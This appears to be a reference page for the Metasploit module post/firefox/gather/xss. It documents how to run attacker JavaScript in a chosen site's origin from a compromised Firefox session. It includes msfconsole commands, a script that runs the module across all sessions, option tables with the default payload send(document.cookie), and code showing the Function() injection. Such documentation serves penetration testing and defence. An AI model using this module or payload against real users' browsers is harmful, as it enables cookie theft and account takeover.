Firefox XSS - Metasploit


This page contains detailed information about how to use the post/firefox/gather/xss metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Table Of Contents
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Module Overview

Name: Firefox XSS
Module: post/firefox/gather/xss
Source code: modules/post/firefox/gather/xss.rb
Disclosure date: -
Last modification time: 2020-09-22 02:56:51 +0000
Supported architecture(s): -
Supported platform(s): Firefox
Target service / protocol: -
Target network port(s): -
List of CVEs: -

This module runs the provided SCRIPT as javascript in the origin of the provided URL. It works by navigating to a hidden ChromeWindow to the URL, then injecting the SCRIPT with Function(). The callback "send(result)" is used to send data back to the listener.

Module Ranking and Traits

Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage

There are two ways to execute this post module.

From the Meterpreter prompt

The first is by using the "run" command at the Meterpreter prompt. It allows you to run the post module against that specific session:

meterpreter > run post/firefox/gather/xss

From the msf prompt

The second is by using the "use" command at the msf prompt. You will have to figure out which session ID to set manually. To list all session IDs, you can use the "sessions" command.

msf > use post/firefox/gather/xss
msf post(xss) > show options
    ... show and set options ...
msf post(xss) > set SESSION session-id
msf post(xss) > exploit

If you wish to run the post against all sessions from framework, here is how:

1 - Create the following resource script:


framework.sessions.each_pair do |sid, session|
  run_single("use post/firefox/gather/xss")
  run_single("set SESSION #{sid}")
  run_single("run")
end

2 - At the msf prompt, execute the above resource script:

msf > resource path-to-resource-script

Required Options

  • SESSION: The session to run this module on.

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Msfconsole Usage

Here is how the firefox/gather/xss post exploitation module looks in the msfconsole:

msf6 > use post/firefox/gather/xss

msf6 post(firefox/gather/xss) > show info

       Name: Firefox XSS
     Module: post/firefox/gather/xss
   Platform: Firefox
       Arch: 
       Rank: Normal

Provided by:
  joev <[email protected]>

Compatible session types:

Basic options:
  Name        Current Setting         Required  Description
  ----        ---------------         --------  -----------
  SCRIPT      send(document.cookie)   yes       The javascript command to run
  SCRIPTFILE                          no        The javascript file to run
  SESSION                             yes       The session to run this module on.
  TIMEOUT     90                      yes       Maximum time (seconds) to wait for a response
  URL         https://metasploit.com  yes       URL to inject into

Description:
  This module runs the provided SCRIPT as javascript in the origin of 
  the provided URL. It works by navigating to a hidden ChromeWindow to 
  the URL, then injecting the SCRIPT with Function(). The callback 
  "send(result)" is used to send data back to the listener.

Module Options

This is a complete list of options available in the firefox/gather/xss post exploitation module:

msf6 post(firefox/gather/xss) > show options

Module options (post/firefox/gather/xss):

   Name        Current Setting         Required  Description
   ----        ---------------         --------  -----------
   SCRIPT      send(document.cookie)   yes       The javascript command to run
   SCRIPTFILE                          no        The javascript file to run
   SESSION                             yes       The session to run this module on.
   TIMEOUT     90                      yes       Maximum time (seconds) to wait for a response
   URL         https://metasploit.com  yes       URL to inject into

Advanced Options

Here is a complete list of advanced options supported by the firefox/gather/xss post exploitation module:

msf6 post(firefox/gather/xss) > show advanced

Module advanced options (post/firefox/gather/xss):

   Name           Current Setting  Required  Description
   ----           ---------------  --------  -----------
   JsIdentifiers                   no        Identifiers to preserve for JsObfu
   JsObfuscate    0                no        Number of times to obfuscate JavaScript
   VERBOSE        false            no        Enable detailed status messages
   WORKSPACE                       no        Specify the workspace for this module

Post Actions

This is a list of all post exploitation actions which the firefox/gather/xss module can do:

msf6 post(firefox/gather/xss) > show actions

Post actions:

   Name  Description
   ----  -----------

Evasion Options

Here is the full list of possible evasion options supported by the firefox/gather/xss post exploitation module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 post(firefox/gather/xss) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

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Error Messages

This module may fail with the following error messages:

Error Messages

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

No response received

Here is a relevant code snippet related to the "No response received" error message:

36:	  def run
37:	    results = js_exec(js_payload)
38:	    if results.present?
39:	      print_good results
40:	    else
41:	      print_error "No response received"
42:	    end
43:	  end
44:	
45:	  def js_payload
46:	    js = datastore['SCRIPT'].strip

Error

Here is a relevant code snippet related to the "Error" error message:

66:	          } else {
67:	            setTimeout(function(){
68:	              try {
69:	                send(hiddenWindow.wrappedJSObject.Function('send', src)(send));
70:	              } catch (e) {
71:	                send("Error: "+e.message);
72:	              }
73:	            }, 500);
74:	          }
75:	        };
76:

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See Also

Check also the following modules related to this module:

Authors

  • joev

Version

This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.

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